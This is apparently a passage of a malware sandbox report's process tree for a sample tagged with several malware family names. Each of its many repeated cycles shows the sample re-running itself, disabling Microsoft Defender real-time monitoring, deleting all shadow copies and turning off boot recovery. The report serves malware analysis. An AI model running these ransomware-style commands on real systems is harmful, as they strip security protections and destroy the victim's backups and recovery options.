        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        43⤵
        
        PID:5912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        44⤵
        Executes a command shell one-liner
        
        PID:3012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        45⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4684
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        44⤵
        
        PID:1532
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        45⤵
        
        PID:4528
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        44⤵
        
        PID:4428
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        45⤵
        Modifies boot configuration data using bcdedit
        
        PID:3212
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        44⤵
        
        PID:4936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        45⤵
        Executes a command shell one-liner
        
        PID:4208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        46⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        45⤵
        
        PID:4492
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        46⤵
        Interacts with shadow copies
        
        PID:4184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        45⤵
        
        PID:1392
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        46⤵
        Modifies boot configuration data using bcdedit
        
        PID:3032
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        45⤵
        
        PID:5136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        46⤵
        
        PID:3320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        47⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        46⤵
        
        PID:3740
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        47⤵
        Interacts with shadow copies
        
        PID:5312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        46⤵
        Executes a command shell one-liner
        
        PID:4568
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        47⤵
        Modifies boot configuration data using bcdedit
        
        PID:4236
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        46⤵
        
        PID:4996
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        47⤵
        
        PID:4548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        48⤵
        
        PID:5716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        47⤵
        
        PID:4828
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        48⤵
        Interacts with shadow copies
        
        PID:2256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        47⤵
        Executes a command shell one-liner
        
        PID:1304
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        48⤵
        Modifies boot configuration data using bcdedit
        
        PID:4684
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        47⤵
        
        PID:4336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        48⤵
        
        PID:6084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        49⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5784
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        48⤵
        
        PID:2008
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        49⤵
        Interacts with shadow copies
        
        PID:3268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        48⤵
        
        PID:4540
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        49⤵
        Modifies boot configuration data using bcdedit
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        48⤵
        
        PID:5564
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        49⤵
        
        PID:4860
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        50⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        49⤵
        
        PID:4472
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        50⤵
        
        PID:4784
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        49⤵
        
        PID:3020
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        50⤵
        Modifies boot configuration data using bcdedit
        
        PID:5880
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        49⤵
        
        PID:3208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        50⤵
        
        PID:4808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        51⤵
        Disables one or more Microsoft Defender components
        
        PID:3268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        50⤵
        
        PID:4564
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        51⤵
        
        PID:2512
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        50⤵
        Executes a command shell one-liner
        
        PID:5792
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        51⤵
        Modifies boot configuration data using bcdedit
        
        PID:3056
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        50⤵
        
        PID:4444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        51⤵
        
        PID:4784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        52⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        51⤵
        
        PID:920
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        52⤵
        
        PID:2848
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        51⤵
        
        PID:4608
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        52⤵
        Modifies boot configuration data using bcdedit
        
        PID:3212
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        51⤵
        
        PID:4972
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        52⤵
        
        PID:3088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        53⤵
        Disables one or more Microsoft Defender components
        
        PID:2364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        52⤵
        
        PID:6000
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        53⤵
        Interacts with shadow copies
        
        PID:4380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        52⤵
        Executes a command shell one-liner
        
        PID:4684
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        53⤵
        Modifies boot configuration data using bcdedit
        
        PID:5896
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        52⤵
        
        PID:5020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        53⤵
        
        PID:4236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        54⤵
        Disables one or more Microsoft Defender components
        
        PID:5704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        53⤵
        
        PID:2952
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        54⤵
        
        PID:1812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        53⤵
        Executes a command shell one-liner
        
        PID:2848
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        54⤵
        Modifies boot configuration data using bcdedit
        
        PID:5852
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        53⤵
        
        PID:5476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        54⤵
        
        PID:2172
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        55⤵
        
        PID:4512
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        54⤵
        
        PID:1852
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        55⤵
        Interacts with shadow copies
        
        PID:5352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        54⤵
        
        PID:5316
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        55⤵
        Modifies boot configuration data using bcdedit
        
        PID:5896
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        54⤵
        
        PID:3472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        55⤵
        
        PID:1988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        56⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        55⤵
        
        PID:4932
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        56⤵
        Interacts with shadow copies
        
        PID:5896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        55⤵
        
        PID:1184
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        56⤵
        Modifies boot configuration data using bcdedit
        
        PID:5352
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        55⤵
        
        PID:4892
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        56⤵
        
        PID:3248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        57⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4120
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        56⤵
        
        PID:4100
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        57⤵
        Interacts with shadow copies
        
        PID:5352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        56⤵
        
        PID:3836
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        57⤵
        Modifies boot configuration data using bcdedit
        
        PID:4676
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        56⤵
        
        PID:4760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        57⤵
        Executes a command shell one-liner
        
        PID:2208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        58⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        57⤵
        Executes a command shell one-liner
        
        PID:1944
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        58⤵
        Interacts with shadow copies
        
        PID:5836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        57⤵
        
        PID:4120
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        58⤵
        Modifies boot configuration data using bcdedit
        
        PID:3056
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        57⤵
        
        PID:5960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        58⤵
        
        PID:5852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        59⤵
        Disables one or more Microsoft Defender components
        
        PID:5240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        58⤵
        
        PID:6184
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        59⤵
        Interacts with shadow copies
        
        PID:6204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        58⤵
        
        PID:6232
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        59⤵
        Modifies boot configuration data using bcdedit
        
        PID:6252
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        58⤵
        
        PID:6264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        59⤵
        Executes a command shell one-liner
        
        PID:6288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        60⤵
        Disables one or more Microsoft Defender components
        
        PID:6308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        59⤵
        
        PID:6444
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        60⤵
        Interacts with shadow copies
        
        PID:6464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        59⤵
        
        PID:6492
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        60⤵
        Modifies boot configuration data using bcdedit
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        59⤵
        
        PID:6524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        60⤵
        
        PID:6548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        61⤵
        Disables one or more Microsoft Defender components
        
        PID:6568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        60⤵
        
        PID:6712
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        61⤵
        Interacts with shadow copies
        
        PID:6732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        60⤵
        
        PID:6760
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        61⤵
        Modifies boot configuration data using bcdedit
        
        PID:6780
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        60⤵
        
        PID:6792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        61⤵
        
        PID:6816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        62⤵
        Disables one or more Microsoft Defender components
        
        PID:6836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        61⤵
        Executes a command shell one-liner
        
        PID:6972
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        62⤵
        
        PID:6992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        61⤵
        
        PID:7020
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        62⤵
        Modifies boot configuration data using bcdedit
        
        PID:7040
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        61⤵
        
        PID:7052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        62⤵
        
        PID:7076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        63⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        62⤵
        Executes a command shell one-liner
        
        PID:6176
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        63⤵
        Interacts with shadow copies
        
        PID:5352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        62⤵
        
        PID:1812
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        63⤵
        Modifies boot configuration data using bcdedit
        
        PID:6216
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        62⤵
        
        PID:6224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        63⤵
        Executes a command shell one-liner
        
        PID:6200
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        64⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        63⤵
        
        PID:6392
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        64⤵
        
        PID:6292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        63⤵
        
        PID:6484
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        64⤵
        Modifies boot configuration data using bcdedit
        
        PID:6452
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        63⤵
        
        PID:6520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        64⤵
        
        PID:6504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        65⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        64⤵
        Executes a command shell one-liner
        
        PID:6552
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        65⤵
        
        PID:6748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        64⤵
        
        PID:6720
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        65⤵
        Modifies boot configuration data using bcdedit
        
        PID:6788
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        64⤵
        
        PID:6768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        65⤵
        
        PID:6944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        66⤵
        Disables one or more Microsoft Defender components
        
        PID:6964
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
